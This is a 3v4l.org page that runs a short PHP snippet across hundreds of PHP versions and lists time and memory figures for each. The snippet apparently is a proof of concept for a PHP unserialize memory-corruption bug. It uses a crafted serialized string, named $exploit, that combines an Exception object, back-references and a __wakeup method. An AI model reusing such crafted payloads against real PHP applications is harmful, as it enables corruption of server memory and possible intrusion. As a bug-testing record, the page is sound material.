3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0190.00316.74
8.3.50.0090.01216.36
8.3.40.0110.00718.84
8.3.30.0070.00718.67
8.3.20.0050.00220.20
8.3.10.0050.00323.52
8.3.00.0050.00319.68
8.2.180.0110.01116.88
8.2.170.0040.01122.96
8.2.160.0100.00320.25
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0000.00826.16
8.2.120.0040.00417.63
8.2.110.0070.00319.30
8.2.100.0040.00817.72
8.2.90.0050.00317.63
8.2.80.0040.00418.78
8.2.70.0060.00317.50
8.2.60.0090.00018.04
8.2.50.0040.00418.07
8.2.40.0000.00819.17
8.2.30.0060.00319.86
8.2.20.0060.00317.78
8.2.10.0000.00718.03
8.2.00.0040.00418.14
8.1.280.0140.00025.92
8.1.270.0040.00420.30
8.1.260.0070.00026.35
8.1.250.0050.00228.09
8.1.240.0060.00323.88
8.1.230.0070.00418.95
8.1.220.0080.00017.74
8.1.210.0030.00618.77
8.1.200.0080.00017.36
8.1.190.0040.00417.23
8.1.180.0060.00318.10
8.1.170.0050.00318.58
8.1.160.0000.00721.88
8.1.150.0040.00418.85
8.1.140.0060.00317.42
8.1.130.0030.00317.66
8.1.120.0040.00417.50
8.1.110.0000.00717.43
8.1.100.0000.00717.46
8.1.90.0030.00517.45
8.1.80.0040.00417.46
8.1.70.0040.00417.30
8.1.60.0030.00617.59
8.1.50.0040.00417.62
8.1.40.0040.00417.57
8.1.30.0030.00617.64
8.1.20.0050.00317.62
8.1.10.0000.00817.51
8.1.00.0070.00017.54
8.0.300.0120.00018.77
8.0.290.0040.00416.75
8.0.280.0000.00718.50
8.0.270.0030.00317.25
8.0.260.0080.00017.16
8.0.250.0040.00416.92
8.0.240.0000.00817.04
8.0.230.0040.00416.92
8.0.220.0030.00716.93
8.0.210.0080.00017.01
8.0.200.0030.00316.93
8.0.190.0060.00317.09
8.0.180.0000.00717.07
8.0.170.0040.00417.05
8.0.160.0070.00016.89
8.0.150.0000.00717.02
8.0.140.0040.00416.89
8.0.130.0000.00613.34
8.0.120.0030.00616.98
8.0.110.0000.00816.98
8.0.100.0000.00717.02
8.0.90.0000.00716.91
8.0.80.0060.01016.95
8.0.70.0080.00016.93
8.0.60.0040.00416.95
8.0.50.0040.00416.91
8.0.30.0120.00717.15
8.0.20.0080.01117.40
8.0.10.0070.00016.91
8.0.00.0100.01016.79
7.4.330.0000.00615.08
7.4.320.0060.00016.46
7.4.300.0030.00316.48
7.4.290.0000.00716.43
7.4.280.0000.00716.62
7.4.270.0020.00516.54
7.4.260.0000.00716.60
7.4.250.0050.00216.46
7.4.240.0000.00716.64
7.4.230.0000.00716.35
7.4.220.0150.00416.62
7.4.210.0070.00716.57
7.4.200.0030.00316.73
7.4.160.0110.00416.50
7.4.150.0140.01017.40
7.4.140.0110.01217.86
7.4.130.0040.01516.62
7.4.120.0050.01216.59
7.4.110.0030.01416.54
7.4.100.0090.01216.71
7.4.90.0060.01016.46
7.4.80.0080.01319.39
7.4.70.0140.00316.39
7.4.60.0130.00316.37
7.4.50.0080.00016.43
7.4.40.0170.00016.67
7.4.30.0140.00416.64
7.4.00.0080.00815.04
7.3.330.0030.00313.39
7.3.320.0050.00013.39
7.3.310.0070.00016.22
7.3.300.0030.00316.28
7.3.290.0030.00316.40
7.3.280.0090.00916.37
7.3.270.0060.01217.40
7.3.260.0070.01016.40
7.3.250.0080.00916.52
7.3.240.0160.00716.37
7.3.230.0060.01216.39
7.3.210.0100.01016.55
7.3.200.0190.00316.50
7.3.190.0120.01116.49
7.3.180.0130.01016.52
7.3.170.0030.01316.42
7.3.160.0030.01316.69
7.3.10.0050.00516.75
7.3.00.0030.01316.77
7.2.330.0160.00016.64
7.2.320.0150.00316.72
7.2.310.0100.00516.73
7.2.300.0070.01016.50
7.2.290.0100.00716.75
7.2.130.0090.00317.03
7.2.120.0040.01216.98
7.2.110.0030.01016.77
7.2.100.0000.01616.93
7.2.90.0030.00817.00
7.2.80.0050.00816.72
7.2.70.0060.00617.07
7.2.60.0060.00816.83
7.2.50.0090.00617.04
7.2.40.0150.00016.78
7.2.30.0040.00816.90
7.2.20.0030.01016.97
7.2.10.0060.00616.66
7.2.00.0110.00517.84
7.1.250.0040.00815.67
7.1.200.0120.00315.55
7.1.100.0060.00318.22
7.1.70.0080.00017.15
7.1.60.0090.00319.27
7.1.50.0120.01216.90
7.1.00.0100.07022.48
7.0.200.0110.01116.47
7.0.100.0070.06719.95
7.0.90.0170.04719.97
7.0.80.0130.07720.14
7.0.70.0100.08319.90
7.0.60.0200.08319.97
7.0.50.0170.07020.32
7.0.40.0100.08320.04
7.0.30.0030.05019.96
7.0.20.0070.08320.18
7.0.10.0000.09020.11
7.0.00.0070.07020.10
5.6.280.0000.03320.96
5.6.250.0170.07720.63
5.6.240.0170.06320.58
5.6.230.0170.04320.63
5.6.220.0030.08320.58
5.6.210.0030.05320.67
5.6.200.0170.07321.17
5.6.190.0030.08020.96
5.6.180.0130.07321.02
5.6.170.0100.04320.95
5.6.160.0000.08321.00
5.6.150.0070.06320.95
5.6.140.0030.05721.09
5.6.130.0170.06721.06
5.6.120.0100.04321.02
5.6.110.0100.07321.05
5.6.100.0170.07320.92
5.6.90.0100.08020.94
5.6.80.0130.07320.48
5.6.70.0130.07320.31
5.6.60.0070.08320.48
5.6.50.0030.08320.45
5.6.40.0030.08020.34
5.6.30.0100.06320.44
5.6.20.0000.07720.32
5.6.10.0030.04720.37
5.6.00.0070.08020.30
5.5.380.0030.07320.37
5.5.370.0130.07720.42
5.5.360.0030.07320.58
5.5.350.0130.07320.39
5.5.340.0070.07720.93
5.5.330.0070.08020.88
5.5.320.0070.07720.87
5.5.310.0100.07720.88
5.5.300.0100.05320.82
5.5.290.0030.05320.85
5.5.280.0100.08320.88
5.5.270.0070.07320.85
5.5.260.0130.07020.92
5.5.250.0100.08320.68
5.5.240.0100.04020.16
5.5.230.0100.04320.23
5.5.220.0030.07020.26
5.5.210.0130.07020.25
5.5.200.0030.08320.26
5.5.190.0030.05320.25
5.5.180.0030.04320.13
5.5.160.0170.06020.21
5.5.150.0100.04020.10
5.5.140.0030.07020.22
5.5.130.0000.07720.21
5.5.120.0170.07020.18
5.5.110.0070.04720.21
5.5.100.0070.08020.09
5.5.90.0030.08720.05
5.5.80.0070.04720.04
5.5.70.0130.04720.09
5.5.60.0170.07020.14
5.5.50.0030.08020.11
5.5.40.0100.07319.91
5.5.30.0100.07319.96
5.5.20.0070.07020.08
5.5.10.0070.07320.01
5.5.00.0070.06720.02
5.4.450.0130.07019.45
5.4.440.0070.07719.36
5.4.430.0100.08019.55
5.4.420.0170.07319.22
5.4.410.0070.06019.32
5.4.400.0100.07019.16
5.4.390.0100.07018.85
5.4.380.0170.04318.89
5.4.370.0130.07019.04
5.4.360.0070.06019.22
5.4.350.0100.04319.02
5.4.340.0070.06018.90
5.4.320.0130.04018.91
5.4.310.0230.06319.12
5.4.300.0030.08018.90
5.4.290.0100.04019.16
5.4.280.0170.07719.04
5.4.270.0100.06318.90
5.4.260.0070.06019.04
5.4.250.0070.07319.11
5.4.240.0070.06319.23
5.4.230.0030.07719.08
5.4.220.0130.07318.84
5.4.210.0070.07319.08
5.4.200.0100.08719.04
5.4.190.0130.06319.09
5.4.180.0000.05018.94
5.4.170.0030.07319.05
5.4.160.0170.06719.09
5.4.150.0070.06319.19
5.4.140.0130.05716.38
5.4.130.0130.06316.36
5.4.120.0170.05016.34
5.4.110.0030.05716.28
5.4.100.0100.05716.32
5.4.90.0130.06716.47
5.4.80.0070.05316.26
5.4.70.0100.07016.26
5.4.60.0070.07016.46
5.4.50.0030.07716.29
5.4.40.0070.04316.39
5.4.30.0070.07016.43
5.4.20.0100.06316.25
5.4.10.0070.07316.29
5.4.00.0130.06715.67

preferences:
59.76 ms | 400 KiB | 5 Q